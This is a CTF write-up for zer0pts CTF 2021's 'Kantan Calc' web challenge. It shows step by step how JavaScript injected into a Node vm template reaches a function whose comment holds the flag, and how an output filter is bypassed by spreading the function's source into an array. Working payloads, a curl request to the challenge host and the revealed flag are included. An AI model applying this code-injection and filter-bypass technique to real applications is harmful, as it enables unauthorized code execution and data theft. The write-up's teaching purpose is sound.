zer0pts CTF 2021
web
'use strict'; (function () { return ${code}; /* ${FLAG} */ })()
, and the server executes the code in sandbox. const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
String
and outputting it.
const code = req.query.code + '';
if (code && code.length < 30) {
FLAG
comment to a different functionFirst you need to do is accessing to the function itself. However, since 'use strict'
is enabled, you cannot use arguments.callee
.
One way to avoid the restriction is separating functions. You can access a function, which contains FLAG
as a comment, as a parameter like below.
'use strict'; (function () { return arguments[0] })(function () {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
'use strict'; (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
'use strict'; (function () { return a => arguments[0]})(b => {; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
'use strict'; (function () { return a=>arguments[0]})(b=>{; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
This code should return the function b=>{; /* ${FLAG} */ }
.
However, when you submit this payload a=>arguments[0]})(b=>{
, the server shows Error: please do not exfiltrate the flag
. This is because if output
, which is the result of vm.runInNewContext
, contains zer0pts
, the server does not print the result. You need to bypass this restriction.
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
There are some ways to bypass the restriction, such as converting the function to String
, then get the contents character by character with the bracket notation like str[i]
. This time, let's use the way converting the function to String
and then treating it as Array
.
Recent JavaScript has spread syntax, which can be used to converting String
to Array
as below.
[...'abc'] // => ["a", "b", "c"]
And, when you converting Array
to String
, the result will be comma separated string.
["a", "b", "c"] + '' // => "a,b,c"
With these behaviors, you can bypass the restriction of the server with the payload as below.
'use strict'; (function () { return a=>[...arguments[0]+0]})(b=>{; /* ${FLAG} */ })()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(inserted code)
$ curl http://web.ctf.zer0pts.com:8002/?code=a%3D%3E%5B...arguments%5B0%5D%2B0%5D%7D%29%28b%3D%3E%7B
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Kantan Calc</title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><main><h1>Kantan Calc</h1><p>"Kantan" means simple or easy in Japanese.</p><a href="/source">source</a><h2>Code</h2><form action="/" method="get"><input type="text" name="code" size="40" placeholder="7*7" maxlength="29"><input type="submit" value="submit"></form><h2>Output</h2><output>b,=,>,{,;, ,/,*, ,z,e,r,0,p,t,s,{,K,4,n,t,4,n,_,m,3,4,n,s,_,4,d,m,1,r,4,t,1,o,n,_,1,n,_,J,4,p,4,n,3,s,3,}, ,*,/, ,},0</output></main></body></html>
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}